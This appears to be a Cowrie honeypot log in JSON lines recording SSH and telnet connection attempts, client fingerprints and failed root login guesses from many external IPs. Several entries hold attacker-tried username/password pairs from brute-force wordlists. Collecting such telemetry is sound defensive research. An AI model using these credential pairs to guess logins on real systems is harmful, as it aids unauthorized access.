{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:02.835039Z","src_ip":"185.153.231.45","session":"904a3e2e5883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":48678,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa4249ede2a","protocol":"ssh","message":"New connection: 111.32.153.180:48678 (10.17.0.5:22) [session: baa4249ede2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:09.376718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:09.381700Z","src_ip":"111.32.153.180","session":"baa4249ede2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:09.639882Z","src_ip":"111.32.153.180","session":"baa4249ede2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"allah123","message":"login attempt [root/allah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:10.704317Z","src_ip":"111.32.153.180","session":"baa4249ede2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:11.965774Z","src_ip":"111.32.153.180","session":"baa4249ede2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":46272,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5e9ee390d4","protocol":"ssh","message":"New connection: 66.113.163.125:46272 (159.203.135.109:22) [session: fe5e9ee390d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:35.790021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:35.795458Z","src_ip":"66.113.163.125","session":"fe5e9ee390d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:35.833993Z","src_ip":"66.113.163.125","session":"fe5e9ee390d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:36.011685Z","src_ip":"66.113.163.125","session":"fe5e9ee390d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:37.051799Z","src_ip":"66.113.163.125","session":"fe5e9ee390d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":34106,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ab2570b26c","protocol":"ssh","message":"New connection: 81.192.46.49:34106 (159.203.135.109:22) [session: 64ab2570b26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:42.766298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:42.774189Z","src_ip":"81.192.46.49","session":"64ab2570b26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:42.888986Z","src_ip":"81.192.46.49","session":"64ab2570b26c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"%domain!@#$%","message":"login attempt [root/%domain!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:43.381300Z","src_ip":"81.192.46.49","session":"64ab2570b26c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:44.499348Z","src_ip":"81.192.46.49","session":"64ab2570b26c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":35478,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc4b8863f7c","protocol":"ssh","message":"New connection: 185.153.231.45:35478 (159.203.135.109:22) [session: 6bc4b8863f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:47.884612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:47.889423Z","src_ip":"185.153.231.45","session":"6bc4b8863f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:48.018971Z","src_ip":"185.153.231.45","session":"6bc4b8863f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234!","message":"login attempt [root/Pass1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:48.568239Z","src_ip":"185.153.231.45","session":"6bc4b8863f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":50780,"dst_ip":"159.203.135.109","dst_port":22,"session":"365b6265dcbc","protocol":"ssh","message":"New connection: 107.0.200.227:50780 (159.203.135.109:22) [session: 365b6265dcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:49.260266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:49.264966Z","src_ip":"107.0.200.227","session":"365b6265dcbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:49.299967Z","src_ip":"107.0.200.227","session":"365b6265dcbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:49.458432Z","src_ip":"107.0.200.227","session":"365b6265dcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:49.699978Z","src_ip":"185.153.231.45","session":"6bc4b8863f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:50.492316Z","src_ip":"107.0.200.227","session":"365b6265dcbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":60074,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3019b0202cd","protocol":"telnet","message":"New connection: 74.91.213.120:60074 (159.203.135.109:23) [session: a3019b0202cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:53.006763Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":42632,"dst_ip":"10.17.0.5","dst_port":22,"session":"85402618e3a8","protocol":"ssh","message":"New connection: 92.191.96.70:42632 (10.17.0.5:22) [session: 85402618e3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:10.036384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:10.041927Z","src_ip":"92.191.96.70","session":"85402618e3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:10.167383Z","src_ip":"92.191.96.70","session":"85402618e3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Andisheh@321","message":"login attempt [root/Andisheh@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:10.699852Z","src_ip":"92.191.96.70","session":"85402618e3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":56685,"dst_ip":"10.17.0.5","dst_port":22,"session":"61e6fbfd0546","protocol":"ssh","message":"New connection: 175.107.32.186:56685 (10.17.0.5:22) [session: 61e6fbfd0546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:11.458751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:11.462897Z","src_ip":"175.107.32.186","session":"61e6fbfd0546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:11.682043Z","src_ip":"175.107.32.186","session":"61e6fbfd0546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:11.826580Z","src_ip":"92.191.96.70","session":"85402618e3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:12.581812Z","src_ip":"175.107.32.186","session":"61e6fbfd0546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:13.803025Z","src_ip":"175.107.32.186","session":"61e6fbfd0546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38588,"dst_ip":"159.203.135.109","dst_port":23,"session":"2112a1bffe48","protocol":"telnet","message":"New connection: 74.91.213.120:38588 (159.203.135.109:23) [session: 2112a1bffe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:15.846489Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":55772,"dst_ip":"159.203.135.109","dst_port":22,"session":"455031c88507","protocol":"ssh","message":"New connection: 125.16.27.190:55772 (159.203.135.109:22) [session: 455031c88507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:16.716814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:16.725812Z","src_ip":"125.16.27.190","session":"455031c88507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:17.773766Z","src_ip":"125.16.27.190","session":"455031c88507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1993","message":"login attempt [root/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:19.689436Z","src_ip":"125.16.27.190","session":"455031c88507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:20.917533Z","src_ip":"125.16.27.190","session":"455031c88507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.144817113876343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:23.151486Z","src_ip":"74.91.213.120","session":"a3019b0202cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":42080,"dst_ip":"10.17.0.5","dst_port":22,"session":"24dad6a04e64","protocol":"ssh","message":"New connection: 111.32.153.180:42080 (10.17.0.5:22) [session: 24dad6a04e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:26.843266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:26.847863Z","src_ip":"111.32.153.180","session":"24dad6a04e64","protocol":"ssh"}
